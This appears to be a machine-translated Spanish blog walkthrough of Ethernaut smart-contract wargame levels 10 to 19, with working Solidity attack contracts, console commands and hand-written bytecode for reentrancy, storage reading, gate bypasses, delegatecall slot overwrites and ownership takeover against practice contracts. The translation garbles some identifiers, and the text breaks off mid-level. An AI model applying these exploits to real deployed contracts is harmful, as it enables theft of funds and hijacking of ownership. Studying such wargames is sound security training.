        uint256 ReentranceImplValue = address(ReentranceImpl).balance;
        if (ReentranceImplValue >= requiredValue) {
            withdraw(requiredValue);
        }else if(ReentranceImplValue > 0) {
            withdraw(ReentranceImplValue);
        }
    } 
}


Usamos para ReentranceImplmarcar el contrato de destino, usando requiredValuepara denotar el dinero que el contrato ha depositado en el contrato de destino. Al mismo tiempo, definimos una fallbackfunción que se llamará cada vez que se reciban fondos withdrawpara retirar el saldo del contrato de destino. Hagamos la interacción del contrato.

interacción del contrato

Primero verifique cuánto ether tiene el contrato en sí, verifíquelo en el navegador y descubra que hay un total de 0.001 ether.
El contrato en sí tiene 0.001 ether
Así que pasamos 500000000000000 Wei al implementar el contrato, que se puede llamar repetidamente tres veces para confirmar el efecto de ataque del contrato. Al mismo tiempo, pasamos la dirección del contrato de destino 0xfe3E5BdD6E5ae5efb4eea5735b3E3738991fFc2e. Después del despliegue, la dirección del contrato de ataque es 0xc9bf4c2AcdBd38CF8f73541f78A2E30Eb5e91287.

Primero, consultamos el saldo del contrato en sí, que es 500000000000000 Wei, y luego consultamos el saldo del contrato de destino, que es 10000000000000000 Wei.
El saldo del contrato en sí
saldo objetivo del contrato
Usamos donatela función para depositar el saldo en el contrato de destino.
saldo de depósitos
En este punto, el saldo del contrato objetivo también se convierte en 0.0015Ether.
Nuestro próximo ataque es withdrawextraer 500000000000000 Wei usando la función. Al iniciar una transacción, el gas debe modificarse en la interfaz de Fox. A la espera de que se complete la transacción, hay tres transferencias en el contrato.
ataque hecho
¡El saldo del contrato objetivo se ha restablecido a cero y el ataque está completo!
El contrato de destino se restablece a cero.
¡Envíe un ejemplo, este nivel está completo!
nivel completado

Finalmente, no olvides recuperar el saldo a través de la autodestrucción del contrato ~

cambio de estado

Resumir

El diseño del contrato debe ser totalmente cauteloso, cualquier negligencia tendrá un gran impacto.


11 Ascensor

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BE. Análisis de su contrato, el código central del contrato es el siguiente:

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }

Debido al primer juicio , la estructura se isLastFlooringresa luego de no ser satisfecha , y se vuelve a obtener . El contrato entonces da por sentado que el resultado obtenido la segunda vez sigue siendo insatisfactorio, ¿es así?ifisLastFloor

Debido al impacto de las llamadas externas, el contrato no puede controlar el comportamiento del contrato externo cuando se llama externamente. Entonces podemos escribir contratos inteligentes para lanzar ataques relacionados.

Redacción de contrato de ataque

También escribimos el contrato de ataque en remix. como sigue:

pragma solidity ^0.6.0;

interface   Elevator{
    function goTo(uint _floor) external;
}

contract Building {

    Elevator elevatorImpl;
    bool isTop;


    constructor(address addr) public {
        elevatorImpl = Elevator(addr);
        isTop = false;
    }

    function flip() public {
        isTop = !isTop;
    }

    function isLastFloor(uint) public returns (bool){
        bool res = isTop;
        flip();
        return res;
    }
    
    function attack() public {
        elevatorImpl.goTo(1);
    }
}

El punto central es que cada vez que se llama a la función, la isLastFloorfunción se llamará internamente para flipcompletar la inversión de la variable isTop, por lo que los resultados obtenidos dos veces seguidas son diferentes.

interacción del contrato

Ingrese await contract.top()para ver si es el nivel superior, el resultado es falso.
esperar contrato.top()
Implemente el contrato, pase el contrato de destino 0x02B4EC4229691A89Df659F8AEb1D6267F4bc85BEy cree el contrato en la dirección 0x0906dCbd3C31CDfB6A490A04D7ea03fC19F7a40a.

Llame attack()a la función para lanzar un ataque al contrato de destino.
ataque()
En este punto, verifique nuevamente, ingrese para await contract.top()ver si es el nivel superior y el resultado es verdadero.
esperar contrato.top()
¡Envíe un ejemplo, este nivel es exitoso!
¡El nivel es exitoso!

Resumir

Los contratos son increíbles, e incluso los contratos bien escritos son inútiles si no pueden controlar el comportamiento de los demás.


12 Privacidad

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x5a5F99370275Ca9068DfDF9E9edEB40Cb8d9aeFf. Análisis de su contrato, el código central del contrato es el siguiente:

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

En este punto, se debe ingresar la entrada data[2]y ¿cómo se debe obtener? Obviamente, todavía tenemos que empezar con el mecanismo de almacenamiento.

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

Esta es la definición de la variable. En consecuencia, tenemos la distribución de almacenamiento de ranuras de la siguiente manera:

-----------------------------------------------------
| unused (31)    |          locked(1)               | <- slot 0
-----------------------------------------------------
|                       ID(32)                      | <- slot 1
-----------------------------------------------------
| unused (28) | awkwardness(2) |  denomination (1) | flattening(1)  | <- slot 2
-----------------------------------------------------
| data[0](32)  | <- slot 3
-----------------------------------------------------
| data[1](32)  | <- slot 4
-----------------------------------------------------
| data[2](32)  | <- slot 5
-----------------------------------------------------

Por lo tanto, se data[2]almacena en la ranura 5.

interacción del contrato

Entra await web3.eth.getStorageAt(contract.address,5)para obtener data2='0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.
esperar web3.eth.getStorageAt(contrato.dirección,5)
En este punto hay una conversión entre bytes16 y bytes32. Cabe señalar que Ethereum tiene dos métodos de almacenamiento, big endian (cadenas y bytes, comenzando desde la izquierda) y little endian (otros tipos, comenzando desde grande). Por lo tanto, al convertir de 32 a 16, se deben cortar los 16 bytes correctos.

¿Cómo podemos hacer esto? '0xad4d68dd2ede6bf23b06d5ed3076ab0d4aae1aac23a1ebaea656ec35650d4ac3'.slice(0,34)es decir

dividir manualmente
Después de eso, envíe el resultado directamente y prepárese para desbloquear. contract.unlock('0xad4d68dd2ede6bf23b06d5ed3076ab0d').
contrato.desbloquear('0xad4d68dd2ede6bf23b06d5ed3076ab0d
En este punto, el contrato ha sido desbloqueado.
esperar contrato.bloqueado()
¡Envíe un ejemplo, este nivel es exitoso!

¡El nivel es exitoso!

Resumir

Nuevamente, no hay secretos en la cadena de bloques.


13 Guardián Uno

Hola a todos, ya estoy de vuelta. He estado muy ocupado últimamente, así que me daré prisa para terminar esta serie en agosto y luego compartiré el próximo contenido.

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284. El propósito de este nivel es satisfacer gateOney gateTwopara gateThreeimplementar entrantmodificaciones con éxito.

entonces ¿que debemos hacer? Primero, echa un vistazo a modifiercuáles son cada uno de los requisitos. A ver si se puede conocer y modificar?

  modifier gateOne() {
    require(msg.sender != tx.origin);
    _;
  }

Análisis gateOne, podemos ver la necesidad msg.sender != tx.origin, lo que demuestra que necesitamos un contrato como tránsito.

  modifier gateTwo() {
    require(gasleft().mod(8191) == 0);
    _;
  }

Análisis gateTwo, que muestra que cuando se ejecuta este paso, el gas restante debe ser un múltiplo de 8191, lo que nos obliga a configurar el gas.

  modifier gateThree(bytes8 _gateKey) {
      require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)), "GatekeeperOne: invalid gateThree part one");
      require(uint32(uint64(_gateKey)) != uint64(_gateKey), "GatekeeperOne: invalid gateThree part two");
      require(uint32(uint64(_gateKey)) == uint16(tx.origin), "GatekeeperOne: invalid gateThree part three");
    _;
  }

Análisis gateThree, esto muestra que se deben ingresar datos especiales de bytes8, para garantizar que los bits 1-16 sean los datos de tx.origin y los bits 17-32 sean 0 ( uint32(uint64(_gateKey)) == uint16(tx.origin),), y los bits 33-64 no son todos 0 ( uint32(uint64(_gateKey)) != uint64(_gateKey)).

Para que podamos organizar nuestras ideas y escribir contratos inteligentes.

Redacción de contrato de ataque

También escribimos el contrato de ataque en remix. como sigue:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    uint64 offset = 0xFFFFFFFF0000FFFF;
    bytes8 changedValue;
    Gate gateImpl;

    constructor(address addr) public {
        gateImpl = Gate(addr);
    }

    function getAddress() public {
        changedValue = bytes8(uint64(tx.origin) & offset);
    }

    function check1() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(uint64(changedValue));
    }

    function check2() public view returns (bool){
        return uint32(uint64(changedValue)) != uint64(changedValue);
    }

    function check3() public view returns (bool){
        return uint32(uint64(changedValue)) == uint16(tx.origin);
    }

    function attack() public {
        gateImpl.enter(changedValue);
    }
}

Aquí analizamos principalmente por qué gateThreese pueden resolver las necesidades. Cuando se toma la entrada, bytes8(uint64(tx.origin) & offset)se realizan las operaciones.

  • addressLa longitud del tipo es de 160 bits, 20 bytes, 40 hex.
  • uint64(tx.origin)Se intercepta el par tx.originy se seleccionan los últimos 64 bits, 8 bytes y 16 hexadecimales.
  • offsetEl tipo es uint64, el valor predeterminado es 0xFFFFFFFF0000FFFF, el último FFFFgarantiza que los últimos 16 bits no cambiarán, el medio 0000garantiza que los 17-33 bits son 0, y el resto FFFFFFFFgarantiza que los 34-64 bits no son todos 0 (siempre y cuando ya que tx.origineste no es el caso).
  • &La transformación se completa con la operación de bytes8almacenar en una changedValuevariable para el ataque real.

interacción del contrato

Implemente el contrato, pase el contrato de destino 0xBc0820c5Ab83Ab2E8e97Fa04DDd3444ECC212284y cree el contrato en la dirección 0x9CeD0A7587C4dCb17F6213Ea47842c86a88ff43d.

implementar contrato
Haga clic getAddresspara calcular changedValue. En este punto, haga clic en check1, check2, check3para comprobar gateThreesi se cumplen los requisitos. Como se puede ver en las capturas de pantalla, todos están satisfechos.
gateThree está satisfecho
Dado que gateOnese ha satisfecho automáticamente, podemos depurar el gas real directamente llamando.
Haga clic attackpara lanzar un ataque, porque es una llamada de contrato cruzado, por lo que primero aumentamos el límite de gas (en realidad lejos de ser tan grande), como se muestra en la figura.
pon gasolina

En este punto, ingresamos al Explorador de testnet para ver los detalles de la transacción. No es casualidad, la transacción se revertirá. Esto se debe a que el gas actual no cumple con los requisitos.
reversión de transacciones

Haga clic en la esquina superior derecha y seleccione para Geth Debug Tracever el proceso de compilación detallado.
Seguimiento de depuración de Geth
Dentro está el proceso de ejecución de cada paso y el GAS que consume.
Detalles de seguimiento de depuración de Geth

Buscando GAS en la página, hay un total de 2 operaciones, analice toda la secuencia de llamadas, la primera debe iniciarse antes de la llamada interna del contrato y la segunda debe gateTwoiniciarse gasLeftactivamente. Entonces, anote el gas restante después de la operación GAS (porque la consulta en sí también consume gas), que es 70215 aquí. Podemos ajustar el límite de gas según el resto de dividir este valor por 8191 hasta que se complete el ataque.
detalles de GAS

La siguiente tabla muestra nuestro proceso de iniciación, que debe repetirse varias veces para completar el ataque.

límite de gas original Gas restante después de la operación de GAS resto Introduzca gasolina la próxima vez
100000 70215 4687 95313
95313 65601 73 95240
95240 65529 1 95239

Tenga en cuenta que cuando el gas se establece en 95239, la transacción es exitosa. Como se muestra en la captura de pantalla:
ataque exitoso
ingrese await contract.entrant() == playery devuelva verdadero en este momento para indicar que el ataque fue exitoso.
esperar contrato.entrante() == jugador
¡Envíe un ejemplo, este nivel es exitoso!

nivel de exito

Resumir

La depuración de Gas es muy interesante y digna de un estudio detenido.


14 Portero Dos

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53F. El propósito de este nivel es satisfacer gateOney gateTwopara gateThreeimplementar entrantmodificaciones con éxito.

Observe su código central, todavía gateOne, gateTwoy gateThree.

  • gateOneSigue siendo un requisito msg.sender != tx.originque debe haber un contrato intermedio.
  • gateTwoEl requisito extcodesize(caller())==0es que la longitud del código asociado de la persona que llama (correspondiente a msg.sender) sea 0, y sabemos que el código del contrato inteligente no es 0.
  • gateThreeLuego se requiere ingresar los bytes8 correspondientes para cumplir con los requisitos correspondientes.

A simple vista parece gateOney gateTwono se puede satisfacer a la vez, pero se puede considerar que cuando se está construyendo el contrato, su código asociado también es 0. Entonces podemos atacar en la función de compilación.

Redacción de contrato de ataque

También escribimos el contrato de ataque en remix. como sigue:

pragma solidity ^0.6.0;

interface Gate {
    function enter(bytes8 _gateKey) external returns (bool);
}

contract attackerSupporter {

    constructor(address addr) public {
        Gate gateImpl = Gate(addr);
        bytes8 input = bytes8(uint64(bytes8(keccak256(abi.encodePacked(address(this))))) ^ (uint64(0) - 1));
        gateImpl.enter(input);
    }
}

Vale la pena señalar que aquí gateThreeusamos subdesbordamiento activo para obtener todos los 1 uint64(desaparecen dos XOR).

interacción del contrato

Implemente el contrato, pase el contrato de destino 0xc2F1c976Bc795C43F7C9B56Ab69d5c06Daa7d53Fy cree el contrato en la dirección 0xE0CCEeA724E2eF32A573348975538DEf0eeBC74f.

Después de que la implementación sea exitosa, utilícela para await contract.entrant() == playerverificar si el ataque es exitoso. La respuesta es el éxito.

esperar contrato.entrante() == jugador
¡Envíe un ejemplo, este nivel es exitoso!
nivel de exito

Resumir

¿Cómo asegurarse de que la solicitud enviada por el contrato inteligente no se procese? msg.sender=tx.originEso es todo.


Moneda de 15 ceros

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x30A758458135a40eA5c59c7F171Fd6FFe08e00c2. El propósito de este nivel es llevar tu propio saldo a 0.

A primera vista, el contrato playertiene las siguientes restricciones:

    if (msg.sender == player) {
      require(now > timeLock);
      _;
    } else {
     _;
    }

Parece que no se puede eludir, y parece que no podemos atacar a través del contrato, porque el valor predeterminado es deducir nuestro propio token.
Pero a simple vista NaughCoines herencia ERC20, y sabemos que ERC20hay más de una función de transferencia. Podemos probar otros métodos.

ERC20En una inspección más cercana, todavía hay transferFromfunciones en el original .

    /**
     * @dev See {IERC20-transferFrom}.
     *
     * Emits an {Approval} event indicating the updated allowance. This is not
     * required by the EIP. See the note at the beginning of {ERC20}.
     *
     * NOTE: Does not update the allowance if the current allowance
     * is the maximum `uint256`.
     *
     * Requirements:
     *
     * - `from` and `to` cannot be the zero address.
     * - `from` must have a balance of at least `amount`.
     * - the caller must have allowance for ``from``'s tokens of at least
     * `amount`.
     */
    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

Por supuesto, esta premisa es que hay suficiente asignación. Podemos empezar a intentarlo.

interacción del contrato

Primero pase await contract.approve(player,await contract.balanceOf(player)), para que pueda transferFromtransferir dinero a través de la función.
esperar contrato.approve(jugador,esperar contrato.balanceOf(jugador))
Luego procedemos await contract.transferFrom(player,contract.address,await contract.balanceOf(player))transfiriendo el saldo al contrato.
esperar contrato.transferFrom(jugador,contrato.dirección,esperar contrato.balanceOf(jugador))
En este punto, al await contract.balanceOf(player)verificar el saldo, podemos ver que el ataque fue exitoso y el saldo es 0.
esperar contrato.balanceOf(jugador)
¡Envíe un ejemplo, este nivel es exitoso!
inserte la descripción de la imagen aquí

Resumir

La herencia de algunas funciones no afecta a otros usos, lo que puede decirse que es un contrato superficial.


16 Conservación

Ya estoy de regreso, y la formación para extranjeros está a punto de terminar, durante este proceso creo que he ganado mucho. En el proceso de formación y explicación, mi pensamiento se ha vuelto más claro. Felicidades. En teoría, mi plan inicial es completar el ataque y la defensa de Ethernaut en agosto y luego comenzar la siguiente etapa de compartir.

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046. El propósito de este nivel es tomar posesión del contrato de destino. Entonces todavía tenemos que ver, ¿dónde está el punto débil del contrato objetivo y dónde está la entrada de nuestro truco ?

Realizamos un análisis detallado del target

  // public library contracts 
  address public timeZone1Library;
  address public timeZone2Library;
  address public owner; 
  uint storedTime;

Aquí el objetivo almacena timeZone1Library, y variables timeZone2Library, todas las cuales se especifican en el momento de la creación.ownerstoredTime

Como queremos obtener la propiedad del contrato de destino, primero buscamos ownerla declaración modificada, pero no podemos encontrarla en el código, ¿tal vez tenemos que ver qué funciones peligrosas hay ?

  function setFirstTime(uint _timeStamp) public {
    timeZone1Library.delegatecall(abi.encodePacked(setTimeSignature, _timeStamp));
  }

¡Así es, está aquí, delegar llamar!
De hecho, en Delegationun nivel, mencionamos específicamente la diferencia en la familia de funciones de llamada:

  • llamada: el método de llamada más común.Después de la llamada, el valor de la variable integrada msg se cambiará a la persona que llama B, y el entorno de ejecución será el entorno de tiempo de ejecución de la persona que recibe la llamada C.
  • delegar llamada: después de la llamada, el valor A de la variable integrada msg no se cambiará a la persona que llama B, pero el entorno de ejecución es el entorno de tiempo de ejecución de la persona que llama B
  • código de llamada: después de la llamada, el valor A de la variable incorporada msg se modificará a la persona que llama B, pero el entorno de ejecución es el entorno de tiempo de ejecución de la persona que llama B

En este punto, cuando usamos la llamada de delegado, simplemente llamamos a la función y el entorno de ejecución real sigue siendo su propio entorno de ejecución. ¿Cómo entenderlo en un nivel inferior? Este contexto, especialmente cuando se trata del almacenamiento de variables de almacenamiento, se usa en función de la ranura, no del nombre de la variable. En otras palabras, si modificamos la variable de almacenamiento a través de la llamada del delegado, en realidad estamos modificando la ranura correspondiente en el entorno actual.

Después de entender esto, volvamos a ver el contrato actual, realmente no se ve bien: cuando se llama a LibraryContractla setTimefunción del contrato correspondiente, como lo que ves es lo que obtienes, storedTimese modifican las variables, lo que en realidad modificará la ejecución. slot 0En otras palabras, de hecho, la timeZone1Libraryranura en la que se encuentra ha sido modificada. ¡El contrato en sí es problemático!

Es decir, porque tiene un problema, ¡tenemos que lidiar con eso! Primero queremos timeZone1Librarymodificar la dirección de nuestro contrato de ataque y estamos tratando de implementar ataques posteriores a través de llamadas delegadas.

Redacción de contrato de ataque

También escribimos el contrato de ataque en remix. como sigue:

pragma solidity ^0.6.0;


contract attacker {

    address public tmpAddr1;
    address public tmpAddr2;
    address public owner; 

    constructor() public {

    }

    function setTime(uint _time) public {
        owner = address(_time);
    }

}

A primera vista, ¿es esto diferente del contrato original? De hecho la hay, es decir, hacemos deliberadamente la modificación del tercer slot, es decir, cuando lo modificamos slot 2. tmpAddr1La suma variable tmpAddr2es en realidad solo un marcador de posición para un espacio y no tiene un significado especial.

interacción del contrato

Primero, implementamos el contrato de ataque, la dirección del contrato es 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958. Ahora solo queremos reemplazar la variable original con ella timeZone1Library.

Primero, podemos consultar el estado actual de la ranura del contrato de destino.
ranura
Su diseño debe ser

-----------------------------------------------------
| 0x7Dc17e761933D24F4917EF373F6433d4a62fe3c5        | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

Tratamos de llamar await contract.setFirstTime()(primero o segundo realmente no importa, puede pensar por qué a continuación) y pasar nuestro contrato de ataque. En este punto se puede ver que en realidad ha habido un cambio. Podemos pasar directamente la dirección sin preocuparnos por la limitación de uint, porque los datos construidos específicamente no especificarán el tipo de parámetro, sino que serán compilados manualmente por evm.
Contrato de ataque integrado
En este punto, su diseño debe ser

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x97E982a15FbB1C28F6B8ee971BEc15C78b3d263F        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

En este punto, la idea es muy simple, llama directamente await contract.setFirstTime()y pasa la dirección del jugador. Después de pasar, verifique si la variable del propietario se ha modificado y puede ver que la propiedad del contrato se obtuvo con éxito.
Propiedad del contrato adquirida con éxito
El diseño es ahora:

-----------------------------------------------------
| 0x852D36AcCF80Eb6611FC124844e52DC9fC72c958       | <- slot 0
-----------------------------------------------------
| 0xeA0De41EfafA05e2A54d1cD3ec8CE154b1Bb78F1        | <- slot 1
-----------------------------------------------------
| 0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b        | <- slot 2
-----------------------------------------------------
| 	                storedTime                      | <- slot 3
-----------------------------------------------------

¡Envíe un ejemplo, este nivel está completo!
nivel completado

Resumir

Todavía tengo que entender qué está compartiendo el entorno compartido de llamada de delegado.


17 Recuperación

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x2f3aC08a3761D8d97A201A36f7f0506CEAaF1046. El propósito de este nivel es encontrar la "dirección perdida" (le transferimos 0.001 ether pero olvidamos su dirección) y recuperar el ether perdido.

En realidad, hay dos formas de pensar en esta pregunta, una es un poco complicada y la segunda, supongo, es lo que la pregunta realmente quiere probar.
De acuerdo con la descripción del título, este es en realidad un proceso continuo: el creador del contrato crea el contrato de fábrica del contrato de token y este último crea el contrato de token (dirección olvidada). Partimos de esta idea.

interacción del contrato

Encuentra la dirección olvidada, método 1: basado en navegador

El navegador aquí no es Browser, sino Explorer .
Podemos ver nuestro historial de transacciones. Puedes ver que también transferimos 0.001 éter dos veces adentro.
Registro de la transacción
Podemos ampliar el análisis en base a llamadas internas. El proceso general es el siguiente:

  • Cuenta de usuario llama contrato Ethernaut0xd991431d8b033ddcb84dad257f4821e9d5b38c33
  • El contrato de Ethernaut 0xd991431d8b033ddcb84dad257f4821e9d5b38c33llama al contrato de nivel 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2y transfiere 0.001Ether
  • El contrato de nivel 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2crea el contrato de fábrica .0xfeB7158F1d0Ff49043e7e2265576224145b158f2
  • El contrato de nivel 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2llama al contrato de fábrica 0xfeB7158F1d0Ff49043e7e2265576224145b158f2, que debe ser una generateTokeninterfaz
  • El contrato de fábrica 0xfeB7158F1d0Ff49043e7e2265576224145b158f2creó el contrato de token.0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8
  • El contrato de nivel transfiere 0.001Ether 0x0eb8e4771aba41b70d0cb6770e04086e5aee5ab2al contrato de token y luego olvida la dirección del contrato.0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8

inserte la descripción de la imagen aquí
A través del navegador, encontramos que la dirección del contrato del token es 0x9d91ABf611BBf14E52FA4cddEa81F8f2CF665cb8.

Encuentre la dirección olvidada, método 2: Generar según la dirección

De hecho, la generación de direcciones de contrato se puede encontrar regularmente. A menudo se ve que los contratos implementados por algunos tokens u organizaciones a lo largo de la cadena son los mismos. Esto se debe a que la dirección del contrato se calcula en función de la dirección del creador y el nonce. Ambos se codifican primero con RLP y luego se cifran con keccak256. , y tome los últimos 20 bytes como la dirección en el resultado final (el valor hash originalmente era de 32 bytes).

  • Se conoce la dirección del creador y el nonce se incrementa desde el valor inicial.
  • El valor inicial del nonce de la dirección externa es 0, y cada transferencia o creación de contrato hará que el nonce aumente en uno.
  • El valor inicial de la dirección del contrato nonce es 1, y cada vez que se crea un contrato, el nonce se incrementa en uno (las llamadas internas no lo harán)

Intentemos recuperar la dirección del contrato perdido con web3.js. Actualmente, el contrato de fábrica conocido es 0xfeB7158F1d0Ff49043e7e2265576224145b158f2, el nonce es 1, la
entrada es web3.utils.keccak256(Buffer.from(rlp.encode(['0xfeB7158F1d0Ff49043e7e2265576224145b158f2',1]))).slice(-40,)y el resultado es 9d91abf611bbf14e52fa4cddea81f8f2cf665cb8.

volver

Habiendo encontrado el contrato, es hora de intentar interactuar con el contrato. Podemos crear nuevos contratos o interactuar con contratos directamente a través de web3.js.

Primero, obtenemos la indicación de función a través de encodeFunctionSignature y construimos los parámetros. Finalmente, se envía a través de sendTransaction.
Parámetros de construcción
Puede ver que hay funciones de 4 bytes y entradas de 32 bytes (no hay suficientes 0).
inserte la descripción de la imagen aquí
¡Llamado con éxito!
llamada exitosa
¡Envíe un ejemplo, este nivel es exitoso!
inserte la descripción de la imagen aquí)

Resumir

De hecho, siento que conozco el principio, pero siempre soy un poco inexperto en la práctica, y necesito practicar más~


18 número mágico

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0x36c8074B1F138B7635Ad1eFe0c2b37b346EC540c. Este nivel es para esperar que podamos escribir un código de operación de solidez, construir un contrato y luego llamarlo para devolver el número mágico directamente 0x42. Para ser precisos, quiero que estemos familiarizados con a qué se refieren realmente los datos en la transacción cuando creamos un contrato.

De hecho, no estoy particularmente familiarizado con esta pieza, así que también pedí información. ¿Qué sucede exactamente cuando implementamos un contrato con Solidity?

  • El código de Solidity ha sido escrito. Cuando el usuario haga clic en implementar, se enviará la transacción para crear el contrato (no hay opción para esta transacción to), y el lenguaje de solidity se ha compilado en bytecode.
  • Después de que EVM reciba la solicitud, obtendrá los datos, que en realidad son códigos de bytes.
  • El código de bytes se cargará en la pila y se dividirá en dos partes: código de bytes de inicialización y código de bytes de tiempo de ejecución
  • El EVM ejecutará el código de bytes de inicialización y devolverá el código de bytes de tiempo de ejecución para uso normal.

En realidad, necesitamos escribir tanto el código de bytes de tiempo de ejecución como el código de bytes de inicialización aquí.

Luego comience a escribir el código de bytes.

escritura de contrato

código de bytes de tiempo de ejecución

El estado de ejecución en realidad está devolviendo RETURN42 directamente. Pero el código RETURNde operación está basado en pilas. Lee p y s de la pila y regresa. Que prepresenta la dirección de memoria del almacenamiento y srepresenta el tamaño de los datos almacenados. Entonces, nuestra idea es almacenar los datos mstoreen la memoria primero y luego RETURNvolver a usarlos.

  • mstoreLeerá p y v en la pila, y finalmente almacenará los datos en la posición p

    • push1 0x42->60 42
    • push1 0x60-> 60 60(almacenado en la ubicación 0x60)
    • mstore->52
  • RETURNdevolver0x42

    • push1 0x20-> 60 20( 0x20=32es decir, el número de bytes de uint256)
    • push1 0x60->60 60
    • return->f3

Juntos es 604260605260206060f3. Parece que el código de bytes de tiempo de ejecución es tan simple como eso.

código de bytes de inicialización

El núcleo de esto es inicializar y codecopyalmacenar el código de bytes de tiempo de ejecución en la memoria, después de lo cual EVM lo procesará automáticamente y lo almacenará en la cadena de bloques.

  • codecopySe leerán los parámetros t, f y s, donde testá la dirección de memoria de destino del fcódigo, el desplazamiento del código de estado de ejecución en relación con el total (inicialización + estado de ejecución) y sel tamaño del código. Elegimos aquí t=0x20(aquí no hay ningún requisito obligatorio), f=unknown(是1字节的偏移量),s=0x0a(10个字节的大小)

    • push1 0x0a->60 0a
    • push1 0xUN->60 UN
    • push1 0x20->60 20
    • codecopy->39
  • Devolviendo RETURNel código a la EVM

    • push1 0x0a->60 0a
    • push1 0x20->60 20
    • return-> f3
      En este momento, el código de bytes de inicialización tiene 12 bytes, por lo que el desplazamiento del estado de ejecución es El código de bytes de 12=0x0c=UN
      inicialización final es600a600c602039600a6020f3

construir y probar

Código de bytes de compilación 0x600a600c602039600a6020f3604260605260206060f3.
Construimos la transacción en la interfaz de la consola para crear el contrato.
crear un contrato
Dado que la transacción no tiene destinatario, se identifica automáticamente como el contrato de implementación . La
implementar contrato
implementación está completa. Se puede ver que la dirección del contrato es 0xAcA8C7d0F1E90272A1bf8046A6b9B3957fbB4771.
Implementación completada
Establecer el contrato como solucionador. Más tarde, cuando enviemos, se llamará automáticamente para ver si está satisfecho.
conjunto de solucionador
¿Envíe el nivel, pruébelo y descubra que no tiene éxito? ¿qué sucedió?

Al observar primero la transacción RAW TRACE, se puede ver que al final se accedió a nuestro contrato y se devolvió 0x42.

SEGUIMIENTO DE DEPURACIÓN
Al mirar de nuevo el ensamblaje, puede ver que, de hecho, se ejecuta.
comprobación de montaje
Luego importamos en remix, llamamos a la función y, de hecho, todos devuelven 0x42.
El resultado del remix es normal.
¿Lo es? Modificamos el valor devuelto de 0x42 a 42 ( 0x2a).

Código de bytes de compilación 0x600a600c602039600a6020f3602a60605260206060f3.
En este momento, a través de la llamada de remix, sí devuelve 42. Enviar de nuevo? ¡Funcionó!
nivel de exito

Resumir

¿Alguien realmente se confunde? No hay selector de funciones o algo? De hecho, debe agregarse aquí. Por lo general, después de escribir contratos inteligentes a través de solidez, los selectores de funciones se implantan en tiempo de compilación. Y no tenemos este paso en este nivel, así que al igual que el gráfico llamado por remix, todas las funciones en realidad ejecutan el mismo bloque de comandos y obtienen el mismo resultado.


19 Códice alienígena

Crear una instancia y analizar

De acuerdo con los pasos anteriores, cree una instancia de contrato con la dirección de contrato de 0xc4017fe2BD1Cb4629E0225B6CCe2c712138588Ef. El propósito de este nivel es tomar posesión del contrato. Entonces, veamos si hay algún código para establecer la propiedad en el contrato.

contract AlienCodex is Ownable {

  bool public contact;
  bytes32[] public codex;
  ...
}

Cuando ve el código, sabe que no debe haber un código de propiedad en el contrato, por lo que es posible que tengamos que encontrar una manera de comenzar desde otros lugares. Encontré esto en el código:

  function revise(uint i, bytes32 _content) contacted public {
    codex[i] = _content;
  }

Parece estar aquí, encuentre una manera de comenzar desde aquí y cambie el tamaño del valor almacenado en la ranura a través de esta operación.

interacción del contrato

Primero veamos qué está almacenado en la ranura.

Consulta de espacio de almacenamiento
Dado que el contrato hereda el contrato, el objeto Ownablealmacenado en slot0 es en este momento . De hecho, esta dirección es la dirección donde se crea el contrato de destino, como se muestra en la siguiente figura:owner0xda5b3Fb76C78b6EdEE6BE8F11a1c31EcfB02b272

variable de propiedad, el propietario aún obtendrá su parte y la variable
